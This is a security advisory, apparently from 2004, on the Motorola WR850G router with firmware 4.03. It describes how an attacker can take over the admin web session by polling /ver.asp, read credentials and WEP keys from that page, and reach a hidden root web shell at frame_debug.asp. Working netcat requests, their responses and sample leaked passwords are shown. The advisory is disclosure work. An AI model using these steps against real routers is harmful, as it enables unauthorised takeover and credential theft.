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Motorola Wireless Router WR850G Authentication Circumvention
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SUMMARY
" <http://broadband.motorola.com/consumers/products/wr850g/> Motorola's
WR850G Wireless Broadband Router, is built with both an 802.11g wireless
access point and a 4-port Ethernet router. It's wireless. It's wired. It's
the foundation of a truly customized network and it's full of options."
The firmware of Motorola's wireless router WR850G features a flaw that
enables an attacker to log into the routers web interface without knowing
the username/password combination and gain knowledge of the router's
username and password after logging in.
Additionally the firmware contains an easter egg that provides a user with
a root shell on the router's Linux software. However this root shell can
only be opened after a successful authentication.
DETAILS
Vulnerable Systems:
* Motorola Wireless Router WR850G, Firmware v4.03
Authentication Circumvention:
One limitation of the routers firmware is that only one system at a time
can be logged into the web interface. However it does not correctly keep
track of the currently logged in system, making it possible for an
attacker to log into the web interface without having to know a username
or a password.
All an attacker has to do is to periodically poll for a file on the
router's web server that can only be accessed when logged into the
router (most likely this is going to be the file /ver.asp; see the second
described vulnerability). The attacker will get 302 redirect
messages, as long as nobody is logged in. However as soon as someone
knowing the password (ie. the real system administrator) logs into the web
interface from a different system (might either be behind the router, on
in front of it), not the system administrator is granted access, but the
attacker.
Example:
server:/var/www/htdocs# nc 10.10.69.244 8080
GET /ver.asp HTTP/1.0
HTTP/1.0 302 Redirect
Server: httpd
Date: Thu, 02 Sep 2004 14:30:15 GMT
Location: redirect.asp
Content-Type: text/xml
Connection: close
[Administrator (on a different IP) successfully logs in]
server:/var/www/htdocs# nc 10.10.69.244 8080
GET /ver.asp HTTP/1.0
HTTP/1.0 200 Ok
Server: httpd
Date: Thu, 02 Sep 2004 14:32:37 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: text/html
Connection: close
[snip content]
The administrator trying to log in gets the error message:
403 Only one login allowed
The existing client:192.168.107.58
This at least tells the administrator someone is tempering with his
system.
Password Recovery:
The router's web server contains a page named ver.asp that contains an
output of every single configuration switch of the router. Among those
switches are:
* Web Interface Username and Password
* WEP Encryption Keys
* SNMP Community String
* DDNS password
And so on...
The page can only be accessed when logged into the web interface either by
knowing the username and password, or by using the method described above.
Exploit:
server:/var/www/htdocs# nc 80.108.69.244 8080
GET /ver.asp HTTP/1.0
HTTP/1.0 200 Ok
Server: httpd
Date: Thu, 02 Sep 2004 13:40:09 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: text/html
Connection: close
[A short excerpt of the output:]
Pmon Version: 9
Firmware version: 4.03, April.15, 2004
pptp_passwd=
http_username=admin
wl0_ssid=hugo
wl0_key1=a3b6d3351f
http_passwd=strictlysecret
wl_passphrase=tumbledry
radius_key=
SNMPCommunityOne=public
Easter Egg: Root Shell
Additionally to the page ver.asp, the routers web server also contains a
page named frame_debug.asp that contains a web shell where a user can
execute any command on the routers software. The page can only be accessed
when logged into the web interface either by knowing the username and
password, or by using the method described above.
Example:
#cat /proc/version
Linux version 2.4.20 (sparklan@localhost.localdomain) (gcc version 3.0
20010422 (prerelease) with bcm4710a0 modifications) #37 Thu Apr 15
16:34:09 CST 2004
#uptime
2:56pm up 7:33, load average: 0.59, 0.23, 0.09
#cat /proc/cpuinfo
system type : Broadcom BCM947XX
processor : 0
cpu model : BCM4710 V0.0
BogoMIPS : 82.94
wait instruction : no
microsecond timers : yes
tlb_entries : 32
extra interrupt vector : no
hardware watchpoint : no
VCED exceptions : not available
VCEI exceptions : not available
dcache hits : 3694025514
dcache misses : 3395654302
icache hits : 3303822179
icache misses : 3094738920
instructions : 2214575440
Workarounds:
Even though this does not resolve the vulnerabilities, the web interface
should be configured to only listen to the LAN and not the WAN interface.
This at least eliminates the risk of being hacked from the outside, while
it is still possible for an insider to gain the passwords in the way
described above.
Vendor Status:
Vendor contacted (09-02-2004 and 09-09-2004). No patch available.
ADDITIONAL INFORMATION
The information has been provided by <d.fabian@sec-consult.com> Daniel
Fabian.
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